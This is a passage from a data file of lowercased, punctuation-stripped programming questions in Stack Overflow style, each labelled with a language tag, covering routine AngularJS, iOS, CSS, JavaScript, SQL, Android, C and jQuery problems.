24px; &gt;{{monthlyproduction}}&lt;span style= font-size: 12px; &gt; tons&lt;/span&gt;&lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt;     &lt;div class= col-md-3 col-sm-6 &gt;         &lt;div class= panel panel-default &gt;             &lt;div class= panel-body &gt;                 &lt;div&gt;                     &lt;span class= glyphicon glyphicon-stats  style= font-size: 50px;float: right; &gt;&lt;/span&gt;                     &lt;div&gt;docked vessels&lt;/div&gt;                     &lt;div style= font-size: 24px; &gt;{{dockedvessels}}&lt;span style= font-size: 12px; &gt; tons&lt;/span&gt;&lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   the problem is that when rendering i see the glyphicon as expected but instead of displaying the variable values i get  {{variablename}}  for all of them.    as a background the sample project i am using was originally for 1.5 version but i m running a 1.6    thanks in advance for your help!!,angularjs
how to use drawviewhierarchyinrect  i want to create a snapshot image for a uiview  i used to use renderinrect  but it is slow  and i found that drawviewhierarchyinrect is a newer api since ios 7  so i want to try it.     i write below code  but it never create a valid image  just a blank image.   <pre><code>-(void)drawrect:(cgrect)rect {     uigraphicsbeginimagecontextwithoptions(_mapview.bounds.size  _mapview.opaque  [[uiscreen mainscreen] scale]);     cgcontextref context = uigraphicsgetcurrentcontext();      // used to use renderincontext  but it s slow     // [mapview.layer renderincontext:context];      [_mapview drawviewhierarchyinrect:_mapview.bounds afterscreenupdates:yes];     uiimage *image = uigraphicsgetimagefromcurrentimagecontext();     uigraphicsendimagecontext();     self.thumbimageview = [[uiimageview alloc] initwithimage:image];     [self addsubview:self.thumbimageview]; } </code></pre>,ios
css selector for closest descendant   i m looking for a way to select  using pure css selectors  the  closest  descendant.    basically  i have a hierachical structure of container/containee divs. when i put a specific css marker on the container  i want to apply some rules on its containee. but as its hierarchical  i don t want to apply the rules to containee in nested containers.    this could have been easily using the <code>&gt;</code> operator  but i don t control the markup between the container and its containee  it may have several level of other markup.    to reproduce my issue  here is a jsfiddle : <a href= http://jsfiddle.net/stevebeauge/2xjh1jdf/  rel= nofollow noreferrer >http://jsfiddle.net/stevebeauge/2xjh1jdf/</a>    it includes this markup:   <pre><code>&lt;div class= container &gt;     &lt;div class= some &gt;         &lt;div class= containee &gt;border should not be dotted&lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; &lt;div class= container marker &gt;     &lt;div class= containee &gt;border should be dotted&lt;/div&gt; &lt;/div&gt; &lt;div class= container marker &gt;     &lt;div class= containee &gt;         &lt;p&gt;border should  be dotted&lt;/p&gt;         &lt;div class= container &gt;             &lt;div class= containee &gt;                 &lt;p&gt;border should not be dotted&lt;/p&gt;                 &lt;div class= container marker &gt;                     &lt;div class= some &gt;                         &lt;div class= containee &gt;border should be dotted&lt;/div&gt;                     &lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   and using this css :   <pre><code>div {     margin:3px;     border: solid 3px; } .container {     border-color: red } .containee {     border-color : green;     border-style: solid; } .marker .containee {     border-style: dotted;     border-color:blue; } </code></pre>   the actual result is:    <img src= https://i.stack.imgur.com/hzkun.png  alt= actual result >    whereas the expected result is:    <img src= https://i.stack.imgur.com/uqom5.png  alt= expected >    i known i could use a javascript solution (and it s actually my alternative)  but i d prefer a pure css solution to avoid polluting the application with such js.    i also tried using some weird selectors :   <pre><code>.marker .containee   .marker &gt; div:not(.container) &gt; .containee   .marker &gt; div:not(.container) &gt; div:not(.container) &gt; .containee {     border-style: dotted;     border-color:blue; } </code></pre>   but not only this does not solve the problem  but i requires to create the rule for each expected depth level of containee...,css
why does the last element of my array return undefined  rather than splicing it off   i m working on a small exercise: the problem is that <strong>i want this</strong>:   <pre><code>=&gt; [ kept   kept ] </code></pre>   but instead  <strong>i keep getting this</strong>:    <a href= https://i.stack.imgur.com/ciogv.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ciogv.png  alt= enter image description here ></a>   <pre><code>function keep(array  keeper) {  //this will return an array of undefined s and  kept s // =&gt;[  kept   undefined   kept   undefined  undefined ]    matchingnumbers = array.map(function matching(element){      if (element === keeper) {       return element;      }   });   //eliminate all undefined s from the matchingnumbers array    matchinglength = matchingnumbers.length;   for (var i = 1; i &lt; matchinglength; i++) {     if(matchingnumbers[i] === undefined) {       (matchingnumbers.splice(i  1));     }   }   return matchingnumbers; }  keep([ kept    thirty    kept   2  1]   kept ) </code></pre>   i m trying to splice off all of the undefined s in matchingnumbers with the for-loop  so why is there a last undefined remaining,javascript
implementing uitableview sections from an nsdictionary objects  i want to use an nsdictionary to populate a table view. are there any tutorials to show me how this is done.,iphone
mysql add query with null value  i have mysql query   <pre><code>select     ju.id      ju.jenis_usaha      coalesce(total_pemberi  0) as total_pemberi      coalesce(outlet_pemberi  0) as outlet_pemberi      coalesce(total_penerima  0) as total_penerima      coalesce(outlet_penerima  0) as outlet_penerima      coalesce(outlet_pemberi + outlet_penerima  0) as semua </code></pre>   the problem is when outlet_pemberi not null and outlet_penerima null (or vise versa)  semua will show 0. how to solve this  thank you,mysql
sql query comparison  1) <code>select name from city where countrycode= jpn  ;</code>    2) <code>select name from city where countrycode= jpn  ;</code>    3) <code>select name from city where countrycode= jpn  ;</code>    all the above queries are working in query 2 i am using single quotes and in 3 query i am using mixture of upper case and lowercase character . why it is producting correct output  .,sql
is there another way to call cleanup() of the tourguide library   i m trying to use this library <a href= https://github.com/worker8/tourguide  rel= nofollow >https://github.com/worker8/tourguide</a>      currently it works fine but as i found out that <code>.cleanup()</code> should be called in the buttons <code>onclicklistener</code>     just wondering if there s any workaround to be used to call it..    in my situation i have 4 buttons  and the <code>onclick</code> is setted in the <code>xml</code> file .   <pre><code>public void myaction(view v){      mtourguidehandler.cleanup();//&lt;--- my attempt     if(v.getid() == r.id.first){      //do something     }else if(v.getid() == r.id.second){      //do something     } } </code></pre>   the code above is what im trying to do.. but no success  is there any work around or suggestive ways to call <code>cleanup()</code> except inside the <code>setonclicklistener()</code>,android
what s means of value type and referance type in .net  hi i am little bit confused in valu type or referance type... for instance int is a value type string is referance type but int also referances some value like int <code>int i=4           int j=i</code> here j is also referanced 4 as like i so why not we call it as a referance type......in case of <code>string  s= hello                                 string s1=s</code> here s is referancing s.....will any one explain in storage point of view ......is there any restriction over valu type or referance type.,.net
checking an image file size in bytes  the image size is about 2.5mb    this code gives me the right size:   <pre><code>var filelength = new fileinfo(path).length; </code></pre>   this code gives me about 600kb   <pre><code>image image= image.fromfile(path); byte[] imagebyte = imagetobytearray(image); long legnth= imagebyte.length;  public static byte[] imagetobytearray(system.drawing.image imagein) {     memorystream ms = new memorystream();     imagein.save(ms  system.drawing.imaging.imageformat.png);     return ms.toarray(); } </code></pre>   what am i missing     the problem is that i recive the image in byte[] so..,c#
sql query to get result in asc order but 0 values should be last after all data  i want all student list which have <code>&gt; 0</code> marks in asc order and then all 0 marks student. i made a query for this  but this not give correct response:   <pre><code>(select * from tbl_student where marks&gt;0) union (select * from tbl_student where marks=0) </code></pre>   after union this merge the data.    kindly suggest me  what should i do for this.,sql
how to make a login form work  i have created a very basic login form in html. how can i check the form to see if it s valid  here s my form:   <pre><code>&lt;html&gt;     &lt;body&gt;         &lt;font size= 6 &gt;username:&lt;/font&gt;         &lt;input type= text  style= font-size:30px;height:45px;width:300px;  name= username  id= username /&gt;         &lt;br&gt;         &lt;font size= 6 &gt;password:&lt;/font&gt;         &lt;input type= password  style= font-size:30px;height:45px;width:300px;  name= password  id= password /&gt;         &lt;br&gt;         &lt;input type= submit  style= font-size:30px;height:45px;width:300px;  name= submit  id= submit  value= login /&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>,html
use of undeclared identifier  locationmanager   i m trying to follow this tutorial: <a href= http://www.appcoda.com/how-to-get-current-location-iphone-user/  rel= nofollow >http://www.appcoda.com/how-to-get-current-location-iphone-user/</a>    everything is fine till i add this line: locationmanager = [[cllocationmanager alloc] init]; then i get the error.    i also get errors for these lines: (xcode suggests i use  _longitudelabel     <pre><code>if (currentlocation != nil) {     longitudelabel.text = [nsstring stringwithformat:@ %.8f   currentlocation.coordinate.longitude];     latitudelabel.text = [nsstring stringwithformat:@ %.8f   currentlocation.coordinate.latitude]; } </code></pre>   any idea what s wrong  does the tutorial have errors or have i done something wrong  thanks!    this is viewcontroller.m file:   <pre><code>#import  viewcontroller.h   @implementation mylocationviewcontroller { cllocationmanager *locationmanager; } @end  @interface viewcontroller () @end  @implementation viewcontroller  - (void)viewdidload { [super viewdidload]; // do any additional setup after loading the view  typically from a nib. locationmanager = [[cllocationmanager alloc] init]; }  - (void)didreceivememorywarning { [super didreceivememorywarning]; // dispose of any resources that can be recreated. }  - (ibaction)getcurrentlocation:(id)sender { locationmanager.delegate = self; locationmanager.desiredaccuracy = kcllocationaccuracybest;  [locationmanager startupdatinglocation]; }  #pragma mark - cllocationmanagerdelegate  - (void)locationmanager:(cllocationmanager *)manager didfailwitherror:(nserror *)error { nslog(@ didfailwitherror: %@   error); uialertview *erroralert = [[uialertview alloc]                            initwithtitle:@ error  message:@ failed to get your location  delegate:nil cancelbuttontitle:@ ok  otherbuttontitles:nil]; [erroralert show]; }  - (void)locationmanager:(cllocationmanager *)manager didupdatetolocation:(cllocation *)newlocation fromlocation:(cllocation *)oldlocation { nslog(@ didupdatetolocation: %@   newlocation); cllocation *currentlocation = newlocation;  if (currentlocation != nil) {     longitudelabel.text = [nsstring stringwithformat:@ %.8f   currentlocation.coordinate.longitude];     latitudelabel.text = [nsstring stringwithformat:@ %.8f   currentlocation.coordinate.latitude]; } }  @end </code></pre>   this is viewcontroller.h file:   <pre><code>//  viewcontroller.h //  mylocationdemo // //  created by ian nicoll on 12/11/14. //  copyright (c) 2014 ian nicoll. all rights reserved. // #import &lt;corelocation/corelocation.h&gt; #import &lt;uikit/uikit.h&gt;  @interface viewcontroller : uiviewcontroller @property (weak  nonatomic) iboutlet uilabel *latitudelabel; @property (weak  nonatomic) iboutlet uilabel *longitudelabel; @property (weak  nonatomic) iboutlet uilabel *addresslabel; - (ibaction)getcurrentlocation:(id)sender; @end  @interface mylocationviewcontroller : uiviewcontroller &lt;cllocationmanagerdelegate&gt; @end </code></pre>,objective-c
read something in the same print line  i am beginner in <code>java</code> programming and i was wondering about  how can i read a number (or character) in same line that i ve print a question     <strong>example:</strong>   <pre><code> (number to be imputed) : (number to be imputed) : (number to be imputed) </code></pre>,java
close tab alert modification  so i am starting a new website where we would be providing professional resume making services. so not everyone wants to pay for the service some want it free. so the problem for me is when a visitor comes to my site &amp; is leaving i will be adding the  do you want to leave   javascript (don t know what it is called as i am not a coder just learnt this stuff in the past week while researching for my website.) so when the visitor tries to leave  the website will ask if they are sure &amp; then when they click on  leave  i want to link the leave button to redirect the visitor to a freebie resume maker which will be an internal link(just a way to retain a potential customer). the resume made from there (freebie link) will have our company watermark on it &amp; will give them an option to remove watermark for a cost. so how do i do it  and the script i found while i was researching only works on edge how do i make it work on all browsers as well  and below is the script i found from a video a few days ago which only works on edge.    ps:- this is my first post if i have written something wrong here let me know.    <pre><code>&lt;script&gt; &lt;script type= text/javascript &gt; var areyoureallysure = false; function areyousure() {     if(allowprompt){         if (!areyoureallysure &amp;&amp; true) {             areyoureallysure = true;             var confmessage =  ***************************************hi*i*am*some*text*************************************** ;             return confmessage;         }     }else{         allowprompt = true;     } }  var allowprompt = true; window.onbeforeunload = areyousure; &lt;/script&gt; </code></pre>,javascript
how to get pixel data from screencap.cpp directly  i m a newbie in android. i using nexus7 reference device and i ve downloaded the full source code from <em>source.android.com</em>. i have an engineering system image and i can make a system application.    <code>/system/bin/screencap</code> utility is good for me to capture screen.  i want to get a pixel data using <em>screencap.cpp</em> directly in my application.     when i used to screencap utility  the process is like below.   <ol> <li>capture screen and save an image.</li> <li>open image file</li> <li>decodefile to bitmap</li> <li>get pixel data(int array) from bitmap</li> </ol>   i want to remove the step <strong>1</strong>  <strong>2</strong> and <strong>3</strong>.  just call api to get <em>pixel data of a screen</em> directly   how can i do that,android
have i done this linked-list questin correctly   i have the following 2 questions in my next book. can someone please help me and tell me if i have done it correctly,c
hide an element with css on just a few pages  i m looking for a quick and easy way to hide an element on just two pages that is otherwise in the sidebar on all pages.  i tried to do it with css but just can t seem to affect this one spot.  <a href= http://emgraphics.net/ubt/personal/trusts/  rel= nofollow >this is one of the pages</a> and the client wants the fdic logo in the sidebar gone. i tried adding page id and the sidebar css to display:none  but can t work out the right combo. am i on the right track    <pre class= lang-css prettyprint-override ><code>#page-id-63 .textwidget  {display:none;} </code></pre>   thanks for your help!,css
android power button pressed  i am trying to create an application that could respond when the power button is pressed. to be more specific  which would respond to it when pressed 2 or 3 times.    for now  i tried the following:   <pre><code>public class smskey extends broadcastreceiver{      static int countpoweroff = 0;     private activity activity = null;     public smskey(activity activity){         this.activity = activity;     }      @override     public void onreceive(context context  intent intent) {         // todo auto-generated method stub          if(intent.getaction().equals(intent.action_screen_off)){             countpoweroff++;         }else if(intent.getaction().equals(intent.action_screen_on)){             if(countpoweroff == 2){                 intent i = new intent(activity  smsoptions.class);                 activity.startactivity(i);             }         }     }  } </code></pre>   and in my <strong>manifest</strong>:   <pre><code>&lt;receiver android:name= .smskey &gt;         &lt;intent-filter &gt;             &lt;action android:name= android.intent.action.screen_off /&gt;             &lt;action android:name= android.intent.action.screen_on /&gt;             &lt;action android:name= android.intent.action.action_power_connected /&gt;             &lt;action android:name= android.intent.action.action_power_disconnected /&gt;             &lt;action android:name= android.intent.action.action_shutdown /&gt;         &lt;/intent-filter&gt;     &lt;/receiver&gt; </code></pre>   finally in my <strong>mainactivty.java</strong>:   <pre><code>intentfilter filter = new intentfilter(intent.action_screen_on); filter.addaction(intent.action_screen_off); smskey mreceiver = new smskey(this); registerreceiver(mreceiver  filter); </code></pre>   even though this works  it only works for the 1st time  it won t work on the 2nd or 3rd attempt when the power button is pressed. why is that so        and another question: as you can see  i am using this keypress event in my mainactivity  which means the application is to be open all the time. is there any other way that i can implement this without getting into the mainactivity.,android
use global variable inside function   i m having trouble figuring out this in php.    i have a variable called $user that holds the user name.    in my function i need to make use of this variable:   <pre><code>function test($message) {     echo  user: $user  message: $message ; } </code></pre>   i only know how to do it by passing $user to the function each time i m calling it  but i m in a particular situation in which i cannot do it. so  how can i use a variable defined outside my function inside of it,php
how to present server ready data (rest jpa and relationships) on the client side using angularjs   since i am new to angularjs i have come across an issue when it comes to presenting my database data which has been mapped using rest and manipulated using jpa. so it is as ready as it can be. no need for further manipulation. now using the $http.get i have been able to present the first table just calling the url but when it comes to getting data presented from a different table by sending a parameter something doens t work out.  in the module.js it looks like this   <pre><code>(function () {      use strict ;      angular.module( app  []);  })(); </code></pre>   the controller.js like this:   <pre><code>    (function () {      use strict ;      angular         .module( app )         .controller( mycontroller   mycontroller);      mycontroller.$inject = [ $http ];      function mycontroller($http) {         var vm = this;          vm.players = [];         vm.historia = [];         vm.getall = getall;         vm.gethistory = gethistory;          init();          function init(){             getall();             gethistory(name);         }          function getall(){             var url =  /all/players ;             var playerspromise = $http.get(url);             playerspromise.then(function(response){                 vm.players = response.data;             });         }          function gethistory(name){             var url =  /all/allplayergames/  + name;             var historiapromise = $http.get(url);             console.log([url]);             historiapromise.then(function(response){                 vm.historia = response.data;                 console.log([response.data]);             });         }      } })(); </code></pre>   and last but not least html   <pre><code>&lt;!doctype html&gt; &lt;html lang= en  xmlns= http://www.w3.org/1999/xhtml  xmlns:th= http://thymeleaf.org &gt; &lt;head&gt;     &lt;meta charset= utf-8 /&gt;     &lt;title&gt;game&lt;/title&gt;     &lt;link th:if= ${mode== development }   rel= stylesheet  href= ../static/bootstrap.css  th:href= @{/bootstrap.css} /&gt;     &lt;link th:if= ${mode== production }   rel= stylesheet  href= ../static/bootstrap.min.css  th:href= @{/bootstrap.min.css} /&gt;     &lt;script type= text/javascript  src= /static/angular.min.js  th:src= @{/angular.min.js}  &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= /static/app/app.module.js  th:src= @{/app/app.module.js}  &gt;&lt;/script&gt;     &lt;script type= text/javascript  src= /static/app/yatzy.controller.js  th:src= @{/app/yatzy.controller.js}  &gt;&lt;/script&gt;     &lt;/head&gt; &lt;body ng-app= app  &gt;  &lt;header&gt;     &lt;nav class= navbar navbar-default &gt;         &lt;div class= container-fluid &gt;             &lt;div class= navbar-header &gt;                 &lt;a class= navbar-brand  href= # &gt;game results&lt;/a&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/nav&gt; &lt;/header&gt; &lt;div&gt;     &lt;div class= row &gt;         &lt;div class= col-lg-offset-2 col-lg-8 &gt;            &lt;div ng-controller= mycontroller as vm &gt;                &lt;div class= btn-group  role= group &gt;                    &lt;button ng-click= vm.getall()  type= button  class= btn btn-default &gt;player game history&lt;/button&gt;                &lt;/div&gt;             &lt;table  class= table &gt;                 &lt;thead&gt;                 &lt;tr&gt;                     &lt;th&gt;playerid&lt;/th&gt;                     &lt;th&gt;name&lt;/th&gt;                  &lt;/tr&gt;                 &lt;/thead&gt;                 &lt;tbody&gt;                 &lt;tr ng-repeat= player in vm.players &gt;                 &lt;td&gt; {{player.playerid}}&lt;/td&gt;                 &lt;td&gt; {{player.name}}&lt;/td&gt;                     &lt;td&gt;                         &lt;button class= btn btn-danger  ng-click= vm.gethistory(player.name);  &gt;view history&lt;/button&gt;                     &lt;/td&gt;                  &lt;/tr&gt;                 &lt;/tbody&gt;              &lt;/table&gt;                &lt;table class= table &gt;                 &lt;thead&gt;                 &lt;tr&gt;                      &lt;th&gt;score&lt;/th&gt;                     &lt;th&gt;name&lt;/th&gt;                 &lt;/tr&gt;                 &lt;/thead&gt;                 &lt;tbody&gt;                 &lt;tr ng-repeat= p in vm.historia &gt;                      &lt;td&gt; {{p.score}}&lt;/td&gt;                     &lt;td&gt; {{p.player.name}}&lt;/td&gt;                 &lt;/tr&gt;                 &lt;/tbody&gt;              &lt;/table&gt;            &lt;/div&gt;          &lt;/div&gt;      &lt;/div&gt;  &lt;/div&gt; &lt;footer class= footer  style= position: absolute; bottom: 0;background-color: #f5f5f5;  &gt;     &lt;div class= container &gt;         &lt;p  th:text= ${#dates.format(datetime  dd mmm yyyy hh:mm )}  class= text-muted &gt;todays date: &lt;/p&gt;     &lt;/div&gt; &lt;/footer&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   and the console log does show the right player url when the  view history  is clicked  but it doesnt get the data from the table that is the score or the name.,angularjs
why is my tostring() printing tostring class instead of my overriden method  <pre><code>question test = new question();  useranswer = integer.parseint(joptionpane.showinputdialog(null       what is the result   +  \n  + test.tostring() )); </code></pre>   my tostring in question class   <pre><code>public string tosting() {     return    + firstnum +     + operator +     + secondnum +   =  ; } </code></pre>   why am i getting  getclass().getname() +  @  + integer.tohexstring(hashcode())  format for my call to tostring  instead of my overriden tostring() in my question class,java
android: add text to text box by pressing button  i am new to android developing. can some one please tell me how to  enter text into text box by pressing a button which i have created.    eg. if i press a button label h . h must appear in text box thanks in advance,android
taking control on vibration  i know this is what we use to make the device vibrate:   <pre><code>#import &lt;audiotoolbox/audiotoolbox.h&gt;  audioservicesplaysystemsound (ksystemsoundid_vibrate); </code></pre>   but how do i stop the vibration  i mean  i want a switch which activates or deactivates the vibration.    how do i do that,iphone
significance of static and main in android  i will start with the simple programme of android :   <pre><code>public class myclass extends activity {      public void oncreate(bundle savedinstancestate)     {         super.oncreate(savedinstancestate);         setcontentview(r.layout.main)     } } </code></pre>   my question is why don t we use <code>static</code> with <code>public void oncreate(bundle savedinstancestate)</code> like in java also why there is no <code>main</code> function in it,android
how to read second and last words from each line in c  i have a file with data like this    {0   /<em>data1</em>/                 0x00       0   0xff}     {1   /<em>data2</em>/                 0x00       0   0xff}     {2   /<em>data3</em>/                 0x00       0   0xff}     {3   /<em>data4</em>/                 0x00       0   0xff}  ...    i want to print only the second and last column of each line. below is the code i worked on. its printing the whole line. how to edit  to print only the second and last column of each line.   <pre><code>#include&lt;stdio.h&gt;  #include&lt;conio.h&gt;  int main () {            char filename[] =  file.txt ;       file *file = fopen(filename   r );      if(file!= null)          {                                    char line[128];                           while ( fgets( line  sizeof line  file)!= null)         {                                                        fputs ( line stdout);                                    }                                                                fclose(file);                                }                                                    else                         {                                        perror(filename);                        }                                                  getch();                          return 0;                        }         </code></pre>   please help!    thanks a ton!,c
i have$( .class:first )  i want $(.class:fourth ) using jquery  i can select the first item in the div using    <pre><code>$( .class:first ) </code></pre>   now since i will have random id values  and the class remains the same  i want to access the id of the fourth element  will it be something like this   <pre><code>$( .class:fourth ) </code></pre>   using jquery.    thanks jean,jquery
animating a fixed header to slide down on click  i have a fixed header with a contact form hidden above.  the goal is to have the form slide down when the contact link is clicked and then slide back up when the close button is clicked.       right now my code checks to see if the body has a formup class. if the form is up  it fires the slide down animation and changes the class to formdown.  unfortunately  if the contact link is clicked again  it slides down even more and the close button is not working.        i would really like the user to have three ways to close the form.      1) click the close button in the form.     2) click the contact link again  and     3) click anywhere outside the form to close.      i am a student and still fairly new to js.  if anyone can help me with this it would be greatly appreciated.  here is a link to codepen with example code... <a href= http://codepen.io/anon/pen/aljki  rel= nofollow >http://codepen.io/anon/pen/aljki</a> thanks!,jquery
can t nail a mysql query where i require multiple records from a table  i have the following tables:    categories --  entry_id  cat_id    titles -- entry_id  title    data -- entry_id  date  body    for each record entered into the db the same entry_id is entered into all three entry_id fields in the three tables.  in the categories table  it will post a record for each category i ve such as:    entry_id: 100 cat_id:24    entry_id: 100 cat_id:31    entry_id: 100 cat_id:17    (say cat_id 24 is web_design  31 is coding and 17 is ajax)    <strong>the problem:</strong> i m having a bugger of a time selecting only records that have a record for both cat_id 24 and 17 in the categories table along with other fields.  here s what i ve got.  i know it s crude but it gets me almost all the way there:   <pre><code>select      data.entry_id      data.date      data.body        titles.entry_id      titles.title as biz_name      categories.entry_id      categories.cat_id     from data  titles  categories     where data.entry_id = titles.entry_id      and data.entry_id = categories.entry_id      and categories.cat_id =  24  </code></pre>   this will display everything with a cat_id of 24 but when i add    <pre><code>and categories.cat_id =  17  </code></pre>   to the very end of the query  nothing is returned.    any thoughts,mysql
my first scanf() is not waiting for input but still waits for and accepts input later  i am having an issue with some code for an assignment to familiarize myself with processes and the fork() system call. for some reason when i call scanf() in the initial if statement it isn t waiting for an input right away  first the program proceeds to the next scanf and waits for input there. i know there are many similar quests but i couldn t find one with my exact problem.     <pre><code>#include &lt;stdio.h&gt; #include &lt;sys/types.h&gt; #include &lt;sys/wait.h&gt; #include &lt;unistd.h&gt;  int main(){   pid_t pid;   int pipeid[2];   pid = fork();     if(pid &gt;0){     int x;     printf( reading x from user:  );     scanf( %d   &amp;x);     printf( display %d  x);     wait(0);   }    else{     int y;     printf( reading y from user:  );     scanf(  %d   &amp;y);     printf( %d  y);     printf( parent proccess %d created child proccess %d\n   getppid() getpid());   } } </code></pre>   output for this program looks like this    <pre><code>reading x from user: reading y from user 3 4 4parentproccess (ppid) created child process (pid) display 3 </code></pre>   the first 3 and 4 are user input  so it seems like the program is going straight to the second scanf after it sees the first one  the process ids are always correct.,c
got a lot of  * is unavailable  errors when compiling for iphone  basically it happens at the line  like #import  and every other ios header  like uiaccelerometer is unavailable and even uiview is unavailable  the compile stopped at the line #import. what could cause that,ios
lcm of the two numbers  guys i found this code in online used to find l.c.m of the two numbers but i couldn t understand the <code>gcd()</code> function.    when i try with a input <code>a = 2 b = 3</code>.it s showing 6 but when i do debugging myself i can t get the answer. i am struct here <code>if (a == b) return a</code>;    can you please help me to understand it s functionality. please update with step by step functions              // java program to find lcm of two numbers.   <pre><code>class test {     // recursive method to return gcd of a and b     static int gcd(int a  int b)     {         // everything divides 0          if (a == 0 || b == 0)            return 0;          // base case         if (a == b)             return a;          // a is greater         if (a &gt; b)             return gcd(a-b  b);         return gcd(a  b-a);     }      // method to return lcm of two numbers     static int lcm(int a  int b)     {         return (a*b)/gcd(a  b);     }      // driver method     public static void main(string[] args)      {         int a = 15  b = 20;         system.out.println( lcm of   + a +  and   + b +   is   + lcm(a  b));     } } </code></pre>,java
how can i perform same action on two buttons on different controller in ios  <code>i am using timer in containing app which i am displaying on widget (today extension).now i have requirement that i can start and stop the timer from today extension if i start timer from today extension using on button click then it start and stop then stop.</code>  same thing from containing app.but both work together means communicate with each other.if i stop from today extension then timer will also stop in containing app same with start.,ios
is there a way in .net framework to populate city name using regioninfo or cultureinfo classes   i m using this code to display country names:   <pre><code>shared sub displaycountries()             dim lstcountry as list(of string) = new list(of string)             dim ci as cultureinfo             for each ci in cultureinfo.getcultures(culturetypes.specificcultures)                 dim ri as system.globalization.regioninfo = new system.globalization.regioninfo(ci.lcid)                  if not lstcountry.contains(ri.englishname) then                     lstcountry.add(ri.englishname)                 end if             next              lstcountry.sort()              for each item in lstcountry                 console.writeline(item)             next         end sub </code></pre>   is there a way in .net framework to populate city name using same method,.net
how to apply list filters on a dropdown lists <pre><code>  &lt;table&gt;   &lt;tr&gt;   &lt;td&gt;   &lt;select class= dropdown  id= a &gt;   &lt;option value=  &gt;select answer&lt;/option&gt;   &lt;option value= 1  &gt;yes&lt;/option&gt;   &lt;option value= 2 &gt;no&lt;/option&gt;   &lt;option value= 3 &gt;n.a.&lt;/option&gt;   &lt;/select&gt;   &lt;/td&gt;   &lt;td&gt;   &lt;select class= dropdown  id= b &gt;   &lt;option value=  &gt;select answer&lt;/option&gt;   &lt;option value= 1  &gt;yes&lt;/option&gt;   &lt;option value= 2 &gt;no&lt;/option&gt;   &lt;option value= 3 &gt;n.a.&lt;/option&gt;   &lt;/select&gt;   &lt;/td&gt;   &lt;/tr&gt;   &lt;/table&gt; </code></pre>   here is my jquery code..   <pre><code>$( #a ).live( change  function() { data=$(this).find( option:selected ).text(); if(data ==  yes ) {     $( #b ).find( option[value= 1 ] ).show();     $( #b ).find( option[value= 2 ] ).hide();     $( #b ).find( option[value= 3 ] ).hide(); }  if(data ==  no ) {     $( #b ).find( option[value= 3 ] ).hide();     $( #b ).find( option[value= 1 ] ).show();     $( #b ).find( option[value= 2 ] ).hide(); }  if(data ==  n.a. ) {     $( #b ).find( option[value= 1 ] ).hide();     $( #b ).find( option[value= 2 ] ).hide();     $( #b ).find( option[value= 3 ] ).show(); } }); </code></pre>   my requirement is to display only selected items in the first dropdown...,jquery
overuse of jquery s on method   i am using google analytic s event tagging on a somewhat complicated code base. instead of going through every file and finding where all of the necessary events are  i was thinking of creating new events using jquery s on method to delegate them. should i be concerned about any potential performance issues by going along this route,jquery
load image into uicollectionviewcell  im having problem setting image into uicollectionviewcell     this is my code :   <pre><code>- (uicollectionviewcell *)collectionview:(uicollectionview *)collectionview cellforitematindexpath:(nsindexpath *)indexpath {     nsurl * imageurl = [nsurl urlwithstring:@ https://mozorg.cdn.mozilla.net/media/img/firefox/firstrun/logo.png 2013-06 ];     nsdata * imagedata = [nsdata datawithcontentsofurl:imageurl];     uiimage * image = [uiimage imagewithdata:imagedata];     uiimageview * myimageview = [[uiimageview alloc] initwithimage:image];      myimageview.image = [uiimage imagenamed:@ myimg ];//set the image      glcell *cell = (glcell *)[collectionview dequeuereusablecellwithreuseidentifier:cell_identifier forindexpath:indexpath];     cell.displaystring = [nsstring stringwithformat:@ %d user number   indexpath.row];     cell.backgroundcolor = [uicolor colorwithpatternimage:[uiimage imagenamed:@ myimg ]];       return cell; } </code></pre>   the string value shows without problem   but cell have no image.,ios
sql join two cells without criteria  in ssms  when i run    <pre><code>      select 1 as a  2 as b </code></pre>   i get a table with one row and two cells.    when i run    <pre><code>select avg(column1) from table1 where company like  %3m% and column2!=0 </code></pre>   i get a number x     and when i run    <pre><code>select avg(column3) from table1 where company like  %3m% and column4!=0 </code></pre>   i get another number y.    i wonder how can use a single query to put x and y together in a one row table     thanks for any advice!,sql
use array outside the parent function  with this function triggered as a callback   <pre><code> var testing  = [];   var vid;  function showmyvideos(data){          var feed = data.feed; //object  feed          var entries = feed.entry || [];   //array  entry          var html = [ &lt;ul&gt; ];         for (var i = 0; i &lt; entries.length; i++){             entry = entries[i];             playcount = entry.yt$statistics.viewcount.valueof() +   views ;             title = entry.title.$t;              vid = (getvideoid(entry.link[0].href));             testing[i] = vid;             lnk =  &lt;a href = \   + entry.link[0].href +  \ &gt;link&lt;/a&gt; ;             html.push( &lt;li&gt;   title        playcount        vid        lnk   &lt;/li&gt; );          }         html.push( &lt;/ul&gt; );         $( #videoresultsdiv ).html(html.join(  ));        } </code></pre>  <hr>   i want to use the  testing  array on other functions  how will i do that .. i m frustrated  now  sorry i m just starting to appreciate javascript. i want to perfectly access the array data like when i m doing on     console.log(testing) inside the function..,javascript
sql query to select one row from each group with preference  for an example suppose i have a table with two columns <code>x</code> and <code>y</code>. now i want to <code>select</code> from this table some rows with the following rules:    <ol> <li>define a  group  to be a group of rows that have same value of the column <code>y</code>.</li> <li>from a group  only one row is chosen. </li> <li>in a group  if one of the rows has <code>x=a</code> where a is predefined  then that row is chosen from that group.</li> <li>in a group  if no row has <code>x=a</code>  then any row can be chosen.</li> </ol>   what are my options to do this in a single sql query,sql
